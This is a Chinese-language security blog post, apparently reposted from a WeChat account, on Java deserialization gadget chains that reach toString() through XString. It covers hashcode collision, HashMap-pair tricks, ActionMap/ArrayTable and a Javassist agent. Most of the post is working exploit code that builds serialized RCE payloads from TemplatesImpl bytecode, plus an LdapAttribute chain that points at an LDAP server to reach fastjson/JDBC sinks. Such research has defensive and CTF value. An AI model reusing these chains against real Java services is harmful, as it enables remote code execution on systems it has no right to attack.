1,常用toString
在jdk17对java安全的影响一文中,我们提到过,后期对于JNDI/反序列化的利用,主要sink点在jdbc,那么这两条链就额外重要。
readObject->toString->getConnection->jdbc
ldap->getObjectInstance->jdbc
其中readObject->toString是现在主力链fastjson/jackson的重要一环,而承担这一重任的BadAttributeValueExpException仅能使用在jdk8-14,也容易在CTF上被过滤,因此一些替代类就出现了。
最知名的是HotSwappableTargetSource+XString的配合,需要spring依赖。
随后是jdk原生支持的EventListenerList/TextAndMnemonicHashMap被发现。
https://xz.aliyun.com/t/14732
这里一部分是从Hessian反序列化上取的经,但由于Hessian对序列化的类不要求实现Serializable,因此只能作为参考。
https://github.com/wh1t3p1g/ysomap/tree/master/core/src/main/java/ysomap/payloads/hessian
2,XString
其中HotSwappableTargetSource+XString值得说道说道,我们都知道一个HashMap如果put进去一个hashcode相同的K,就会触发key.equals(k),而XString.equals(Object)正好可以触发toString。
此外,还有个继承了 XString的XStringForFSB可以代替XString。
而之所以用HotSwappableTargetSource封装一层,正是因为这个类实例化的对象hashcode都是一样的。
也就是说,这个链的原理其实很简单
hashMap.put(json,1);
hashMap.put(xstring,1);
如果json和xstring的hashcode一样,就会触发XString.equals(json),进而触发json.toString(),最后触发任意getter。
如何保证json和xstring的hashcode一样呢,就是用HotSwappableTargetSource封装一层。
除此之外,还有别的办法吗?再看看XString的hashcode来源。
其实就是实例化的时候塞进去的String,也就是说XString.hashCode()本质上就是String.hashCode()。
而String的hashcode是可以快速碰撞出来的。
https://paper.seebug.org/199/#hashcode
因此,一个不依赖HotSwappableTargetSource的XString链就应运而生。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\"
+ "TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});
Reflections.setFieldValue(obj, "_name", "TemplatesImpl");
Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
String unhash = unhash(jsonArray.hashCode());
XObject xString = new XString(unhash);
HashMap hashMap = new HashMap();
hashMap.put(jsonArray, "1");
hashMap.put(xString, "2");
在HashMap第二次put的时候,成功RCE。
显然在创建序列化payload的时候我们不能这么直接put,否则会先在自己的机器上RCE,因此需要模拟HashMap.put(),用反射将KV塞进去HashMap。具体可以参考CVE-2021-2135在本地触发的改造这篇文章。
也可以用别人更加通用的makeMap写法使用
public static HashMap makeMap(Object v1, Object v2) throws Exception {
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
但折腾了一番,最终会发现直接put可以RCE,readObject->putVal的时候却不行,此时将反序列化前后的hashcode都打印出来,很容易发现原因——hashcode变化了。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\"
+ "TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});
Reflections.setFieldValue(obj, "_name", "TemplatesImpl");
Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
String unhash = unhash(jsonArray.hashCode());
XObject xString = new XString(unhash);
HashMap hashMap = new HashMap();
//hashMap.put(jsonArray, "1");
//hashMap.put(xString, "2");
hashMap = makeMap(jsonArray ,xString);
Set keys = hashMap.keySet();
for (Object key :keys) {
System.out.println(key.getClass()+": "+key.hashCode());
}
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
hashMap = (HashMap) objectInputStream.readObject();
keys = hashMap.keySet();
for (Object key :keys) {
System.out.println(key.getClass()+": "+key.hashCode());
}
为什么呢?跟踪JSONArray.hashCode(),容易发现其实就是ArrayList.hashCode(),而List的hashcode显然跟元素挂钩,元素只有TemplatesImpl一个,所以本质上就是TemplatesImpl的hashcode变化了。通过下断点,可以发现前后的TemplatesImpl确实有一些地方不一样。
然而即使将这些属性都调整成一样的,hashcode还是会发现变化。如果想追踪TemplatesImpl.hashCode()就会发现TemplatesImpl根本没有实现hashCode(),也就是说它用的是Object.hashCode(),而这个在每次实例化的时候都不一样,所以通过new实例化的TemplatesImpl和readObject实例化的TemplatesImpl显然是两个不同的对象,提前通过unhash碰撞出来的Xstring毫无意义。
但知道了原理,所以只要换成其他实现了hashCode()的getter就行。比如com.sun.jndi.ldap.LdapAttribute。
String url = "ldap://127.0.0.1:1389/deser:fastjson2_7:Y2FsYw==";
String ldap_url = url.substring(0,url.lastIndexOf("/"));
String rdn = url.substring(url.lastIndexOf("/")+1);
System.out.print(ldap_url+"rn");
System.out.print(rdn+"rn");
Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});
ctor.setAccessible(true);
Attribute obj = (Attribute) ctor.newInstance("id");
setFieldValue(obj, "baseCtxURL", ldap_url);
setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
String unhash = unhash(jsonArray.hashCode());
XObject xString = new XString(unhash);
HashMap hashMap = new HashMap();
//hashMap.put(jsonArray, "1");
//hashMap.put(xString, "2");
hashMap = makeMap(jsonArray ,xString);
Set keys = hashMap.keySet();
for (Object key :keys) {
System.out.println(key.getClass()+": "+key.hashCode());
}
HashMap hashMap2 = new HashMap();
hashMap2.put(obj, hashMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashMap2);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
只有少部分的实现了hashCode()的DataSource.getConnection()能用,可以转到jdbc上去,比如c3p0的一些DataSource类,后面会介绍。
3,XString+HashMap
在ROME链中,还有一种使hashcode相等的办法。
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean);
map1.put("zZ",obj);
map2.put("zZ",equalsBean);
map2.put("yy",obj);
System.out.println(map1.hashCode());
System.out.println(map2.hashCode());
这种办法可以无缝套在Xstring上。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\"
+ "TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});
Reflections.setFieldValue(obj, "_name", "TemplatesImpl");
Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
XObject xString = new XString("foo");
HashMap<Object, Object> map1 = new HashMap();
HashMap<Object, Object> map2 = new HashMap();
map1.put("yy", jsonArray);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", jsonArray);
// jdk8环境生成jdk7反序列化的payload要换一下顺序
// map1.put("zZ", xString);
// map1.put("yy", jsonArray);
// map2.put("zZ", jsonArray);
// map2.put("yy", xString);
System.out.println(map1.hashCode());
System.out.println(map2.hashCode());
HashMap hashmap = makeMap(map1, map2);
HashMap hashMap2 = new HashMap();
hashMap2.put(obj,hashmap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashMap2);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
4,XString+ArrayTable
https://xz.aliyun.com/t/15807
这篇文章介绍了ArrayTable.get()可以触发Xstring.equals(),但需要用agent技术修改JComponent.writeObject(),避免在序列化过程在本地触发。
核心思路是ArrayTable在比较key时是直接调用的key.equals()。文章中给了JComponent的反序列化写法和agent代码,这里不再赘述。
文章中还提到了AbstractAction/ActionMap也可以,但AbstractAction实际上不行。
AbstractAction的key强转为String,这意味着key1.equals(key2)只能调String.equals(String)。
同理,后来新找到的InputMap也不行。
ActionMap则只指定value类型,所以是能用的。
ActionMap代码如下。
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\test\"
+ "TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
Reflections.setFieldValue(obj, "_bytecodes", new byte[][]{bs});
Reflections.setFieldValue(obj, "_name", "TemplatesImpl");
Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
XObject xString = new XString("a");
ActionMap actionMap = new ActionMap();
Class atClass = Class.forName("javax.swing.ArrayTable");
Object arrayTable = Reflections.createWithoutConstructor(atClass);
Action action = new DefaultEditorKit.CopyAction();
action.putValue("foo", "foo");
Object[] table = new Object[]{xString ,action ,jsonArray ,action};
Reflections.setFieldValue(arrayTable, "table", table);
Reflections.setFieldValue(actionMap, "arrayTable", arrayTable);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(actionMap);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
需要加-javaagent:ArrayTableAgent.jar参数生成序列化数据,hook ArrayTable核心代码如下。可以平替JComponent.writeObject()的hook,兼容性更高。
public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
if (className.equals("javax/swing/ArrayTable")) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass jClazz;
try {
jClazz = classPool.get("javax.swing.ArrayTable");
} catch (Exception e) {
System.out.println("cp.get error");
jClazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
}
CtMethod w = jClazz.getDeclaredMethod("writeArrayTable");
String methodBody = "{rn"
+ " try {rn"
+ " $1.writeInt(2);rn"
+ " Class clz = $2.getClass();rn"
+ " java.lang.reflect.Field field = clz.getDeclaredField("table");rn"
+ " field.setAccessible(true);rn"
+ " Object[] table = (Object[]) field.get($2);rn"
+ " for (int i = 0; i < 4; i++) {rn"
+ " $1.writeObject(table[i]);rn"
+ " }rn"
+ " } catch (Exception e) {rn"
+ " }"
+ "}";
w.setBody(methodBody);
byte[] byteCode = jClazz.toBytecode();
System.out.println(byteCode);
jClazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
return null;
}
原文始发于微信公众号(珂技知识分享):最近跟jdbc有关的新知识——toString篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论